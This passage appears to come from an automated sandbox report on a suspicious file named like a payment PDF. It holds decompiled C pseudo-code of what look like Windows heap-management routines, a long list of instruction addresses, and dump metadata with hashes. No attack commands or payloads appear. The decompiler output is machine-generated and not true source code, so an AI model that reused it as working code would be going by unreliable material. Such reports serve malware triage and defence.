												_v44 = _t545[0x2c];
												_t417 = _t545[0x2a];
												__eflags = _t417 - _t478;
												if(_t417 != _t478) {
													L92:
													_t298 =  *_t521;
													_v44 = _t298;
													_t299 = _t298 + 4;
													_t550 =  *_t299;
													 *_t299 = 0;
													__eflags = _t550;
													if(_t550 == 0) {
														L118:
														__eflags =  *(_t521 + 0x16) & 0x00000003;
														_t551 =  *( *_v44 + 0xc);
														_v44 =  *( *_v44 + 0xc);
														_v48 =  *_t521;
														if(( *(_t521 + 0x16) & 0x00000003) != 0) {
															_v56 =  *((intOrPtr*)(_t521 + 4)) + 0x0000101f & 0xfffff000;
															_t315 = L33530E2D(_t521);
															_push( &_v60);
															_t425 = ( *(_t521 + 0x18) & 0x0000ffff) * (_t315 & 0x0000ffff) << 3;
															__eflags = _t425;
															_v52 = _t425;
															_t318 = E3346F0E1( *((intOrPtr*)(_t551 + 0xc)), _t478);
															_t417 = _t425;
															_push(_t318);
															_push( &_v52);
															_push( &_v56);
															_push(0xffffffff);
															L334B2EB0();
														}
														 *( *((intOrPtr*)(_t521 + 4)) + 0xc) = _t378;
														E3348252B(_t551,  *((intOrPtr*)(_t521 + 4)), _t417);
														_t305 =  *(_t521 + 0x18) & 0x0000ffff;
														_v36 = _t305;
														_t307 = _v48 + 0x50;
														__eflags = _t307;
														_v36 =  ~_t305;
														_v32 = _t307;
														goto L121;
														do {
															do {
																L121:
																_t552 =  *_t307;
																_t486 =  *((intOrPtr*)(_t307 + 4));
																_v48 = _t486;
																asm("lock cmpxchg8b [edi]");
																__eflags = _t552 - _t552;
																_t307 = _v32;
															} while (_t552 != _t552);
															__eflags = _t486 - _v48;
														} while (_t486 != _v48);
														_t527 = _v16;
														_t378 = 0;
														__eflags = 0;
														 *((intOrPtr*)(_t527 + 4)) = 0;
														asm("lock inc dword [eax+0x20]");
														 *((intOrPtr*)(_t527 + 0x10)) = 0;
														_t553 = 0xfffffffe;
														_t310 =  *(_t527 + 0x1c);
														do {
															__eflags = _t310 & _t553;
															asm("lock cmpxchg [edx], ecx");
														} while ((_t310 & _t553) != 0);
														__eflags = _t310 - 1;
														if(_t310 != 1) {
															goto L64;
														}
														_t483 = _t527 + 0x20;
														_t409 =  *((intOrPtr*)( *_t527));
														 *_t527 = 0;
														goto L81;
													}
													_t144 = _t550 + 0x1c; // 0x1c
													_t528 = 0xfffffff9;
													_t322 =  *_t144;
													do {
														__eflags = _t322 & _t528;
														asm("lock cmpxchg [edx], ecx");
													} while ((_t322 & _t528) != 0);
													_t521 = _v16;
													__eflags = _t322 - 6;
													if(_t322 != 6) {
														_t417 = _v44;
														_t323 = E33483AF6(_v44, _t550);
														__eflags = _t323;
														if(_t323 == 0) {
															L117:
															_t478 = 1;
															__eflags = 1;
															goto L118;
														} else {
															goto L98;
														}
														while(1) {
															L98:
															_t491 =  *(_t550 + 0x1c);
															__eflags = _t491;
															if(_t491 == 0) {
																goto L117;
															}
															__eflags = _t491 & 0x00000002;
															if((_t491 & 0x00000002) != 0) {
																goto L117;
															}
															_t417 = _t491 | 0x00000002;
															asm("lock cmpxchg [edi], ecx");
															_t521 = _v16;
															__eflags = _t491 - _t491;
															if(_t491 != _t491) {
																continue;
															}
															_t492 =  *_t550;
															_t430 = _t378;
															_v40 = _t492;
															_v36 = _t378;
															while(1) {
																_t154 = _t492 + 0x5e; // 0xf28b56ff
																_t494 = _t492 + (( *_t154 & 0x0000ffff) + _t430 & 0x0000000f) * 4 + 8;
																_v48 = _t494;
																_t328 =  *_t494;
																_v32 = _t328;
																__eflags = _t328;
																if(_t328 != 0) {
																	goto L105;
																}
																_t417 = _t550;
																asm("lock cmpxchg [edx], ecx");
																__eflags = _t328;
																if(_t328 == 0) {
																	goto L117;
																}
																L107:
																_t430 = _v36;
																L108:
																_t430 = _t430 + 1;
																_v36 = _t430;
																__eflags = _t430 - 0x10;
																if(_t430 >= 0x10) {
																	_t431 =  *_t550;
																	_t417 =  *((intOrPtr*)( *((intOrPtr*)( *_t431 + 0xc)) + 0x3c0 + ( *(_t431 + 0x5c) & 0x0000ffff) * 4)) + 0x48;
																	__eflags =  *((intOrPtr*)( *((intOrPtr*)( *_t431 + 0xc)) + 0x3c0 + ( *(_t431 + 0x5c) & 0x0000ffff) * 4)) + 0x48;
																	L115:
																	_t177 = _t550 + 0x20; // 0x20
																	_t497 = _t177;
																	L116:
																	E334820E0(_t417, _t497);
																	goto L117;
																}
																_t492 = _v40;
																continue;
																L105:
																_t329 = _t328 + 0x1c;
																_v28 = _t329;
																_t478 = 1;
																_t330 =  *_t329;
																__eflags = 1 & _t330;
																if((1 & _t330) != 0) {
																	goto L108;
																}
																asm("lock cmpxchg [edi], ecx");
																_t521 = _v16;
																__eflags = _v32 - _v32;
																if(_v32 == _v32) {
																	_t531 = 0xfffffffd;
																	_t335 =  *_v28;
																	do {
																		_t417 = _t335 & _t531;
																		__eflags = _t417;
																		asm("lock cmpxchg [esi], ecx");
																	} while (_t417 != 0);
																	_t521 = _v16;
																	__eflags = _t335 - 2;
																	if(_t335 != 2) {
																		goto L118;
																	}
																	_t498 = _v32;
																	_t417 =  *( *_t498);
																	 *_t498 = _t378;
																	_t497 = _t498 + 0x20;
																	goto L116;
																}
																goto L107;
															}
														}
														goto L117;
													}
													_t417 =  *( *_t550);
													 *_t550 = _t378;
													goto L115;
												}
												_t417 = _v36;
												__eflags = _t417 - _v44;
												if(_t417 < _v44) {
													goto L92;
												}
												_v36 = _t417 - _v44;
												_t417 =  *_t545;
												__eflags = _v36 -  *((intOrPtr*)(_t417 + 0x14));
												_t521 = _v16;
												if(_v36 <  *((intOrPtr*)(_t417 + 0x14))) {
													goto L127;
												}
												goto L92;
											}
											_t118 = _t521 + 8; // -16
											_t499 = L334FE9F6(_t118);
											__eflags = _t499;
											if(_t499 == 0) {
												L87:
												_t478 = 1;
												__eflags = 1;
												goto L88;
											}
											_t555 = _v32;
											do {
												_t437 =  *(_t499 - 4);
												_t499 =  *_t499;
												asm("btr [eax], edi");
												_t555 = _t555 + 1;
												_v36 = _t437 >> 0x00000008 & 0x0000ffff;
												__eflags = _t499;
											} while (_t499 != 0);
											_t521 = _v16;
											_t378 = 0;
											__eflags = 0;
											_v32 = _t555;
											_t542 = _v28;
											goto L87;
										}
										_t483 = _t518 + 8;
										_t409 = _v16 + 8;
										goto L81;
									}
									_t397 = _v44;
									L77:
									_t397 = _t397 + 1;
									_v44 = _t397;
									__eflags = _t397 - _v48;
									if(_t397 <= _v48) {
										_t274 = _v40;
										continue;
									}
									_t542 = _t541 | 0xffffffff;
									__eflags = _t542;
									_v28 = _t542;
									goto L79;
								}
							}
							_push(_t378);
							_push(_t378);
							_push(_t378);
							_push(_t518);
							_push("true");
							_pop(_t442);
							L33535FED(_t442,  *((intOrPtr*)(_t396 + 0xc)));
							goto L64;
						}
						__eflags =  *(_t518 + 7) - _t378;
						if(__eflags >= 0) {
							__eflags =  *(_t535 + 0x4c) - _t378;
							if( *(_t535 + 0x4c) == _t378) {
								L34:
								_t344 = 1;
								L35:
								_v5 = _t344;
								_v6 = _t344;
								__eflags = _t344;
								if(_t344 == 0) {
									L29:
									_t504 = _v20;
									L30:
									_push(_t378);
									_push(_t378);
									_push(_t504);
									_push(_t518);
									_push("true");
									_pop(_t443);
									L33535FED(_t443, _t535);
									__eflags = _v5 - _t378;
									if(_v5 == _t378) {
										goto L22;
									}
									L31:
									__eflags = _a4 & 0x3c000102;
									_t48 = _v20 - 8; // 0x33566d44
									_t444 = _t48;
									_v44 =  *_t444;
									if((_a4 & 0x3c000102) != 0) {
										goto L59;
									}
									__eflags = _t444[3] - 5;
									if(_t444[3] != 5) {
										_t445 = _t378;
									} else {
										_t51 =  &(_t444[3]); // 0xcbc5
										_t249 = _v20;
										_t445 = _t444 - (( *_t51 & 0x000000ff) << 3) + 8;
									}
									_t348 = L335178DE(_v44, _t535, _t249, "true", _t445);
									__eflags = _t348;
									if(_t348 < 0) {
										goto L22;
									} else {
										_t249 = _v20;
										goto L59;
									}
								}
								__eflags =  *(_t518 + 7) - _t378;
								if( *(_t518 + 7) >= _t378) {
									__eflags =  *(_t535 + 0x4c) - _t378;
									if( *(_t535 + 0x4c) == _t378) {
										_t351 =  *_t518 & 0x0000ffff;
									} else {
										_t359 =  *_t518;
										__eflags =  *(_t535 + 0x4c) & _t359;
										if(( *(_t535 + 0x4c) & _t359) != 0) {
											_t359 = _t359 ^  *(_t535 + 0x50);
											__eflags = _t359;
										}
										_t351 = _t359 & 0x0000ffff;
									}
								} else {
									_t456 = _t518 >> 0x00000003 ^  *_t518 ^  *0x33566964 ^ _t535;
									__eflags = _t456;
									if(_t456 == 0) {
										_t361 = _t518 - (_t456 >> 0xd);
										__eflags = _t361;
										_t362 =  *_t361;
									} else {
										_t362 = _t378;
									}
									_t351 =  *((intOrPtr*)(_t362 + 0x14));
								}
								__eflags =  *(_t518 + 7) - 4;
								_t509 = _t351 & 0xffff;
								if( *(_t518 + 7) != 4) {
									_t449 = _t509 << 3;
									__eflags = _t449;
								} else {
									__eflags =  *(_t535 + 0x4c) - _t378;
									if( *(_t535 + 0x4c) == _t378) {
										_t356 =  *_t518 & 0x0000ffff;
									} else {
										_t358 =  *_t518;
										__eflags =  *(_t535 + 0x4c) & _t358;
										if(( *(_t535 + 0x4c) & _t358) != 0) {
											_t358 = _t358 ^  *(_t535 + 0x50);
											__eflags = _t358;
										}
										_t356 = _t358 & 0x0000ffff;
									}
									_t449 =  *((intOrPtr*)(_t518 - 8)) - (_t356 & 0x0000ffff) + _t509;
								}
								_t504 = _v20;
								_t353 = _t449 + _t518;
								__eflags = _t353 - _t504;
								asm("sbb al, al");
								_t355 =  !_t353 & _v6;
								__eflags = _t355;
								_v5 = _t355;
								if(_t355 != 0) {
									goto L31;
								} else {
									goto L30;
								}
							}
							_t363 =  *_t518;
							_t511 =  *(_t535 + 0x50) ^ _t363;
							_v68 = _t363;
							_v68 = _t511;
							__eflags = _t511 >> 0x18 - (_t511 >> 0x00000010 ^ _t511 >> 0x00000008 ^ _t511);
							if(_t511 >> 0x18 == (_t511 >> 0x00000010 ^ _t511 >> 0x00000008 ^ _t511)) {
								goto L34;
							}
							_v5 = _t378;
							goto L29;
						}
						_t344 = L33531F59(_t378, _t535, _t518, _t518, _t535, __eflags);
						goto L35;
					} else {
						L22:
						 *((intOrPtr*)( *[fs:0x18] + 0xbf4)) = 0xc000000d;
						 *((intOrPtr*)( *[fs:0x18] + 0x34)) = E3349ABA0(0xc000000d);
						_t519 = _t378;
						goto L7;
					}
				} else {
					if(( *0x335638c0 & 0x00000002) != 0 && __edx != 0) {
						_t378 =  *(__edx - 8);
						_v20 = __edx - _t378;
					}
					_t370 = L3351D8D2(_a4);
					_t534 = _v20;
					_t372 = E335386A8(_t535, _v20, _t370 & 0x11000001, _a8, _a12);
					_v36 = _t372;
					if(_t372 != 0) {
						_t373 = _a8;
						__eflags = _t373;
						if(_t373 != 0) {
							 *_t373 =  *_t373 - _t378;
							__eflags =  *_t373;
						}
						_t374 = L33483C20(_t535);
						__eflags = _t374;
						if(_t374 != 0) {
							L3352E8B1(_t535, _t534);
						}
					} else {
						 *((intOrPtr*)( *[fs:0x18] + 0xbf4)) = 0xc000000d;
						 *((intOrPtr*)( *[fs:0x18] + 0x34)) = E3349ABA0(0xc000000d);
					}
					_t519 = _v36;
					L7:
					return _t519;
				}
			}

0x334c7184
0x334c7186
0x334c7188
0x334c718a
0x334c718e
0x334c7191
0x334c719a
0x334c7229
0x334c7233
0x334c78ef
0x334c78f8
0x334c78fd
0x334c7900
0x334c7902
0x00000000
0x00000000
0x334c7908
0x334c7908
0x334c790b
0x334c790d
0x334c790f
0x334c7911
0x334c7911
0x334c7914
0x334c7917
0x334c7919
0x334c791b
0x334c791b
0x334c791f
0x334c7924
0x334c7926
0x334c792c
0x334c7933
0x334c793e
0x334c793e
0x334c7933
0x00000000
0x334c7926
0x334c7239
0x334c723d
0x334c724a
0x334c724c
0x334c7278
0x334c7279
0x334c727a
0x334c727b
0x334c727c
0x334c7280
0x334c7281
0x334c724e
0x334c724e
0x334c7251
0x334c7255
0x334c725e
0x334c725e
0x334c725e
0x334c7260
0x334c7264
0x334c7266
0x334c7267
0x334c7268
0x334c7269
0x334c726a
0x334c726e
0x334c726f
0x334c7274
0x334c7274
0x334c7264
0x334c723f
0x334c7246
0x334c7246
0x334c7286
0x334c7288
0x334c72b2
0x334c72b5
0x334c72b9
0x334c7404
0x334c7404
0x334c7407
0x00000000
0x334c78ec
0x334c741a
0x334c741c
0x334c741f
0x334c78d9
0x334c78d9
0x334c78da
0x334c78db
0x334c78dc
0x334c78dd
0x334c78e1
0x334c78e2
0x334c748b
0x334c748d
0x00000000
0x334c748d
0x334c742c
0x334c742e
0x334c7431
0x334c7433
0x00000000
0x00000000
0x334c743c
0x334c7442
0x334c7447
0x334c744a
0x334c744d
0x334c7452
0x334c745a
0x334c745f
0x334c7475
0x334c7477
0x334c7493
0x334c7498
0x334c749a
0x334c74ac
0x334c749c
0x334c74a5
0x334c74a5
0x334c74b3
0x334c74b4
0x334c74b6
0x334c74b8
0x334c74be
0x334c74c4
0x334c74d1
0x334c74d8
0x334c74d8
0x334c74d8
0x334c74c4
0x334c74d9
0x334c74e0
0x334c74e2
0x334c74e5
0x334c74ea
0x334c74f0
0x334c74f3
0x334c74fb
0x334c74fb
0x334c74ff
0x334c7502
0x334c7505
0x334c750a
0x00000000
0x00000000
0x334c7519
0x334c751d
0x334c7520
0x334c7522
0x334c7536
0x334c7536
0x334c753a
0x334c753d
0x334c7555
0x334c755e
0x334c7561
0x334c7565
0x334c75a2
0x334c75b1
0x334c75b3
0x334c75b5
0x334c75b9
0x334c77f9
0x334c77f9
0x334c77fc
0x334c77ff
0x334c7801
0x334c7488
0x334c7488
0x00000000
0x334c7488
0x334c780b
0x334c7810
0x334c7812
0x00000000
0x00000000
0x334c7818
0x334c781b
0x334c781b
0x334c781d
0x334c781f
0x00000000
0x00000000
0x334c7825
0x334c7828
0x00000000
0x00000000
0x334c7835
0x334c7839
0x334c783b
0x00000000
0x00000000
0x334c783d
0x334c783f
0x334c7841
0x334c7844
0x334c7850
0x334c7853
0x334c7855
0x334c7858
0x334c785a
0x334c7871
0x334c7874
0x334c7876
0x00000000
0x00000000
0x334c787f
0x334c7883
0x334c7886
0x334c7888
0x334c78b2
0x334c78b6
0x334c78b8
0x334c78ba
0x334c78bc
0x334c78bc
0x334c78c2
0x334c78c5
0x00000000
0x00000000
0x334c78cd
0x334c78cf
0x334c78d1
0x334c7548
0x334c7548
0x00000000
0x334c7548
0x334c788a
0x334c788a
0x00000000
0x334c788a
0x334c7863
0x334c7867
0x334c7869
0x00000000
0x00000000
0x00000000
0x334c788d
0x334c788d
0x334c788e
0x334c788e
0x334c789a
0x334c78a5
0x334c78a8
0x00000000
0x334c78a8
0x00000000
0x334c781b
0x334c75c4
0x334c75ca
0x334c75cd
0x334c75d0
0x334c75d2
0x334c75f3
0x334c75f3
0x334c75f7
0x334c75fa
0x334c75fd
0x334c75fd
0x334c75ff
0x334c7601
0x334c7714
0x334c7714
0x334c771d
0x334c7722
0x334c7725
0x334c7728
0x334c7739
0x334c773c
0x334c774e
0x334c774f
0x334c774f
0x334c7752
0x334c7759
0x334c775e
0x334c775f
0x334c7763
0x334c7767
0x334c7768
0x334c776a
0x334c776a
0x334c7775
0x334c777b
0x334c7780
0x334c7784
0x334c778e
0x334c778e
0x334c7791
0x334c7794
0x334c7794
0x334c7797
0x334c7797
0x334c7797
0x334c7797
0x334c7799
0x334c779e
0x334c77ab
0x334c77b2
0x334c77b4
0x334c77b4
0x334c77b9
0x334c77b9
0x334c77be
0x334c77c1
0x334c77c1
0x334c77c6
0x334c77c9
0x334c77cf
0x334c77d5
0x334c77d6
0x334c77d8
0x334c77da
0x334c77dc
0x334c77dc
0x334c77e2
0x334c77e5
0x00000000
0x00000000
0x334c77ed
0x334c77f0
0x334c77f2
0x00000000
0x334c77f2
0x334c7609
0x334c760c
0x334c760d
0x334c760f
0x334c7611
0x334c7613
0x334c7613
0x334c7619
0x334c761c
0x334c761f
0x334c762c
0x334c7631
0x334c7636
0x334c7638
0x334c7711
0x334c7713
0x334c7713
0x00000000
0x00000000
0x00000000
0x00000000
0x334c763e
0x334c763e
0x334c763e
0x334c7641
0x334c7643
0x00000000
0x00000000
0x334c7649
0x334c764c
0x00000000
0x00000000
0x334c7657
0x334c765c
0x334c7660
0x334c7663
0x334c7665
0x00000000
0x00000000
0x334c7667
0x334c7669
0x334c766b
0x334c766e
0x334c7671
0x334c7671
0x334c767d
0x334c7680
0x334c7683
0x334c7685
0x334c7688
0x334c768a
0x00000000
0x00000000
0x334c768c
0x334c768e
0x334c7692
0x334c7694
0x00000000
0x00000000
0x334c76bb
0x334c76bb
0x334c76be
0x334c76be
0x334c76bf
0x334c76c2
0x334c76c5
0x334c76f4
0x334c7706
0x334c7706
0x334c7709
0x334c7709
0x334c7709
0x334c770c
0x334c770c
0x00000000
0x334c770c
0x334c76c7
0x00000000
0x334c7698
0x334c7698
0x334c769d
0x334c76a0
0x334c76a1
0x334c76a3
0x334c76a5
0x00000000
0x00000000
0x334c76af
0x334c76b3
0x334c76b6
0x334c76b9
0x334c76d1
0x334c76d2
0x334c76d4
0x334c76d6
0x334c76d6
0x334c76d8
0x334c76d8
0x334c76de
0x334c76e1
0x334c76e4
0x00000000
0x00000000
0x334c76e6
0x334c76eb
0x334c76ed
0x334c76ef
0x00000000
0x334c76ef
0x00000000
0x334c76b9
0x334c7671
0x00000000
0x334c763e
0x334c7623
0x334c7625
0x00000000
0x334c7625
0x334c75d4
0x334c75d7
0x334c75da
0x00000000
0x00000000
0x334c75df
0x334c75e2
0x334c75e7
0x334c75ea
0x334c75ed
0x00000000
0x00000000
0x00000000
0x334c75ed
0x334c7567
0x334c756f
0x334c7571
0x334c7573
0x334c759f
0x334c75a1
0x334c75a1
0x00000000
0x334c75a1
0x334c7578
0x334c757b
0x334c757b
0x334c7581
0x334c7589
0x334c758c
0x334c758d
0x334c7590
0x334c7590
0x334c7594
0x334c7597
0x334c7597
0x334c7599
0x334c759c
0x00000000
0x334c759c
0x334c7542
0x334c7545
0x00000000
0x334c7545
0x334c7524
0x334c7527
0x334c7527
0x334c7528
0x334c752b
0x334c752e
0x334c74f8
0x00000000
0x334c74f8
0x334c7530
0x334c7530
0x334c7533
0x00000000
0x334c7533
0x334c74fb
0x334c747c
0x334c747d
0x334c747e
0x334c747f
0x334c7480
0x334c7482
0x334c7483
0x00000000
0x334c7483
0x334c72bf
0x334c72c2
0x334c72cf
0x334c72d2
0x334c7349
0x334c7349
0x334c734b
0x334c734b
0x334c734e
0x334c7351
0x334c7353
0x334c72f9
0x334c72f9
0x334c72fc
0x334c72fc
0x334c72fd
0x334c72fe
0x334c72ff
0x334c7300
0x334c7304
0x334c7305
0x334c730a
0x334c730d
0x00000000
0x00000000
0x334c7313
0x334c7313
0x334c731d
0x334c731d
0x334c7322
0x334c7325
0x00000000
0x00000000
0x334c732b
0x334c732f
0x334c73e9
0x334c7335
0x334c7335
0x334c733e
0x334c7341
0x334c7341
0x334c73f4
0x334c73f9
0x334c73fb
0x00000000
0x334c7401
0x334c7401
0x00000000
0x334c7401
0x334c73fb
0x334c7355
0x334c7358
0x334c7381
0x334c7384
0x334c7395
0x334c7386
0x334c7386
0x334c7388
0x334c738b
0x334c738d
0x334c738d
0x334c738d
0x334c7390
0x334c7390
0x334c735a
0x334c7367
0x334c7369
0x334c736c
0x334c7377
0x334c7377
0x334c7379
0x334c736e
0x334c736e
0x334c736e
0x334c737b
0x334c737b
0x334c7398
0x334c739f
0x334c73a2
0x334c73c9
0x334c73c9
0x334c73a4
0x334c73a4
0x334c73a7
0x334c73b8
0x334c73a9
0x334c73a9
0x334c73ab
0x334c73ae
0x334c73b0
0x334c73b0
0x334c73b0
0x334c73b3
0x334c73b3
0x334c73c3
0x334c73c3
0x334c73cc
0x334c73cf
0x334c73d2
0x334c73d4
0x334c73d8
0x334c73d8
0x334c73db
0x334c73de
0x00000000
0x334c73e4
0x00000000
0x334c73e4
0x334c73de
0x334c72d4
0x334c72d9
0x334c72db
0x334c72e0
0x334c72f2
0x334c72f4
0x00000000
0x00000000
0x334c72f6
0x00000000
0x334c72f6
0x334c72c8
0x00000000
0x334c728a
0x334c728a
0x334c729d
0x334c72a8
0x334c72ab
0x00000000
0x334c72ab
0x334c71a0
0x334c71a7
0x334c71ad
0x334c71b2
0x334c71b2
0x334c71be
0x334c71c3
0x334c71d0
0x334c71d5
0x334c71da
0x334c720a
0x334c720d
0x334c720f
0x334c7211
0x334c7211
0x334c7211
0x334c7215
0x334c721a
0x334c721c
0x334c7222
0x334c7222
0x334c71dc
0x334c71f0
0x334c71fb
0x334c71fb
0x334c71fe
0x334c7201
0x334c7207
0x334c7207

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d2047e78055fac570c0c217788194ec1c5dd07acafb8db0fd737d65835640d5
Instruction ID: b89a6aa6c6edaf63fbd03fcba75c5d8b6c41264dd286b7a4db8abe35d9f7db82
Opcode Fuzzy Hash: 4d2047e78055fac570c0c217788194ec1c5dd07acafb8db0fd737d65835640d5
Instruction Fuzzy Hash: 9242E5B9A00756AFDB04CF59C5806ADBBB6FF88350F18855DE851EB350DB34E842CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 33482760 Relevance: .6, Instructions: 605
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E33482760(signed int __ecx, signed int __edx) {
				intOrPtr _v8;
				signed int _v16;
				signed char _v80;
				intOrPtr _v84;
				intOrPtr _v88;
				signed int _v92;
				signed int _v96;
				signed char _v100;
				signed char _v101;
				signed int _v108;
				signed char _v112;
				signed char _v116;
				signed int _v120;
				signed char _v124;
				signed char _v128;
				signed int _v132;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int* _t226;
				signed int _t229;
				signed int _t232;
				signed int _t233;
				void* _t234;
				intOrPtr _t237;
				signed int _t242;
				signed int _t245;
				signed char _t246;
				intOrPtr _t250;
				signed short _t254;
				signed int _t256;
				signed char _t260;
				void* _t264;
				signed char _t266;
				intOrPtr* _t268;
				signed char _t271;
				signed int _t272;
				signed short _t275;
				signed short _t278;
				signed short _t279;
				signed int _t284;
				signed short _t285;
				signed int _t287;
				void* _t288;
				signed short _t289;
				signed int _t291;
				void* _t292;
				signed char _t297;
				signed short _t299;
				signed char _t301;
				signed short _t320;
				signed short _t322;
				signed short _t323;
				signed int _t325;
				void* _t326;
				signed char _t330;
				signed int _t334;
				signed int _t335;
				void* _t337;
				signed char _t343;
				signed int _t345;
				intOrPtr _t352;
				signed int _t361;
				signed char _t363;
				signed int _t364;
				signed char _t365;
				unsigned int _t370;
				signed int _t374;
				signed char _t378;
				void* _t385;
				signed int _t387;
				signed char _t388;
				signed int _t390;
				signed int _t391;
				signed short _t396;
				signed int _t398;
				signed char _t399;
				unsigned int _t407;
				unsigned int _t409;
				unsigned int _t411;
				unsigned int _t421;
				unsigned int _t424;
				void* _t429;
				signed char _t430;
				signed int _t432;
				signed int _t433;
				signed int _t434;
				signed int _t437;
				void* _t439;
				void* _t445;

				_t386 = __edx;
				_t337 = _t445;
				_v8 =  *((intOrPtr*)(_t337 + 4));
				_t443 = (_t445 - 0x00000008 & 0xfffffff8) + 4;
				_v16 =  *0x3356b370 ^ (_t445 - 0x00000008 & 0xfffffff8) + 0x00000004;
				_t437 = __ecx;
				_v124 =  *(_t337 + 0xc);
				_t339 =  *(_t337 + 8);
				_t226 =  *(_t337 + 0x10);
				_v112 = _t339;
				_v132 = _t226;
				_v120 = 0;
				_v116 = 0;
				_t428 =  *(_t337 + 0x14);
				_v128 = _t428;
				if(_t339 == 0) {
					 *( *[fs:0x18] + 0xbf4) = 0;
					 *((intOrPtr*)( *[fs:0x18] + 0x34)) = E3349ABA0(0);
					L150:
					_t229 = 0;
					L19:
					_pop(_t429);
					_pop(_t439);
					return E334B4B50(_t229, _t337, _v16 ^ _t443, _t386, _t429, _t439);
				}
				if( *((intOrPtr*)(__ecx + 8)) == 0xddeeddee) {
					_t387 = L3351D8D2(__edx);
					_t232 =  *(__ecx + 0xb0);
					_v108 = _t387;
					__eflags = _t232;
					if(_t232 != 0) {
						_t352 =  *[fs:0x18];
						__eflags = _t232 -  *((intOrPtr*)(_t352 + 0x24));
						if(_t232 ==  *((intOrPtr*)(_t352 + 0x24))) {
							_t390 = _t387 | 0x00000001;
							__eflags = _t390;
							_v108 = _t390;
						}
					}
					__eflags =  *0x335638c0 & 0x00000002;
					_t430 = _v112;
					_t343 = _t430;
					if(( *0x335638c0 & 0x00000002) == 0) {
						_t233 = 0;
						__eflags = 0;
					} else {
						_t233 =  *((intOrPtr*)(_t430 - 8));
						_t343 = _t343 - _t233;
					}
					_t388 = _v108;
					_v120 = _t233;
					_t234 = _t233 + _v124;
					__eflags = _t234 - _v124;
					if(_t234 >= _v124) {
						_t345 = E3353970B(_t437, _t388, _t343, _t234, _v132, _v128);
						_v116 = _t345;
						__eflags = _t345;
						if(_t345 == 0) {
							goto L33;
						}
						__eflags = _t345 - 0xffffffff;
						if(_t345 == 0xffffffff) {
							goto L33;
						} else {
							__eflags =  *0x335638c0 & 0x00000002;
							_t386 = _v120;
							if(( *0x335638c0 & 0x00000002) != 0) {
								 *(_t345 + _t386 - 8) = _t386;
								_t246 = _t345 + _t386;
								__eflags = _t386 - 8;
								if(_t386 > 8) {
									 *_t345 = _t386;
								}
								_v116 = _t246;
							}
							_t245 = _v132;
							__eflags = _t245;
							if(_t245 != 0) {
								 *_t245 =  *_t245 - _t386;
							}
							goto L37;
						}
					} else {
						_t345 = 0;
						__eflags = 0;
						L33:
						asm("sbb ecx, ecx");
						_t55 = ( ~_t345 & 0xffffffee) - 0x3fffffe9; // -1073741801
						_t386 = _t55;
						_v128 = _t386;
						_v116 = 0;
						 *( *[fs:0x18] + 0xbf4) = _t386;
						_t237 = E3349ABA0(_t386);
						__eflags = _v108;
						 *((intOrPtr*)( *[fs:0x18] + 0x34)) = _t237;
						if(_v108 < 0) {
							L35:
							_v100 = _v128;
							_v80 = _v124;
							_push( &_v100);
							_v92 = 0;
							_v84 = 1;
							_v96 = 0;
							_v88 = E334C8A60;
							E334C8A60(0, _t386);
							L36:
							_t430 = _v112;
							L37:
							_t242 = L33483C20(_t437);
							__eflags = _t242;
							_t229 = _v116;
							if(_t242 != 0) {
								__eflags = _t229;
								if(_t229 != 0) {
									L3352E8B1(_t437, _t430);
									_t386 = _v116;
									L3352DF93(_t437, _v116);
									_t229 = _v116;
								}
							}
							goto L19;
						}
						__eflags =  *(_t437 + 0xc);
						if( *(_t437 + 0xc) >= 0) {
							goto L36;
						}
						goto L35;
					}
				}
				if(_t226 != 0) {
					 *_t226 = 0;
				}
				if(_t428 != 0) {
					 *_t428 = 0;
				}
				_v108 = _t386;
				if(( *(_t437 + 0x44) & 0x01000000) != 0) {
					_push(_v124);
					_push(_t339);
					_t229 = L3351FDF4(_t337, _t437, _t386, _t428, _t437, __eflags);
					goto L19;
				} else {
					if( *0x3356373c != 0) {
						L8:
						if(( *(_t437 + 0x48) & 0x00000001) != 0) {
							_t386 = _t339;
							_t432 = E3346A4D2(_t337, _t437, _t339, _t428, _t437, __eflags);
							L12:
							_t339 = _v112;
							L13:
							if(_t432 == 0) {
								_t433 = 0xc0000005;
								L148:
								 *( *[fs:0x18] + 0xbf4) = _t433;
								_t250 = E3349ABA0(_t433);
								__eflags = _v108 & 0x00000004;
								 *((intOrPtr*)( *[fs:0x18] + 0x34)) = _t250;
								if((_v108 & 0x00000004) != 0) {
									_v80 = _v124;
									_push( &_v100);
									_v100 = _t433;
									_v92 = 0;
									_v84 = 1;
									_v96 = 0;
									_v88 = E334C8A60;
									E334C8A60(_t339, _t386);
								}
								goto L150;
							}
							if( *((char*)(_t339 - 1)) == 5) {
								__eflags =  *(_t432 + 7);
								if(__eflags >= 0) {
									__eflags =  *(_t437 + 0x4c);
									if( *(_t437 + 0x4c) == 0) {
										L61:
										__eflags =  *(_t432 + 7);
										if( *(_t432 + 7) >= 0) {
											__eflags =  *(_t437 + 0x4c);
											if( *(_t437 + 0x4c) == 0) {
												_t254 =  *_t432 & 0x0000ffff;
											} else {
												_t323 =  *_t432;
												__eflags =  *(_t437 + 0x4c) & _t323;
												if(( *(_t437 + 0x4c) & _t323) != 0) {
													_t323 = _t323 ^  *(_t437 + 0x50);
													__eflags = _t323;
												}
												_t254 = _t323 & 0x0000ffff;
											}
										} else {
											_t421 = _t432 >> 0x00000003 ^  *_t432 ^ _t437 ^  *0x33566964;
											__eflags = _t421;
											if(_t421 == 0) {
												_t325 = _t432 - (_t421 >> 0xd);
												__eflags = _t325;
												_t326 =  *_t325;
											} else {
												_t326 = 0;
											}
											_t254 =  *((intOrPtr*)(_t326 + 0x14));
										}
										__eflags =  *(_t432 + 7) - 4;
										_t256 = _t254 & 0xffff;
										_v128 = _t256;
										if( *(_t432 + 7) != 4) {
											_t391 = _t256 * 8;
										} else {
											__eflags =  *(_t437 + 0x4c);
											if( *(_t437 + 0x4c) == 0) {
												_t320 =  *_t432 & 0x0000ffff;
											} else {
												_t322 =  *_t432;
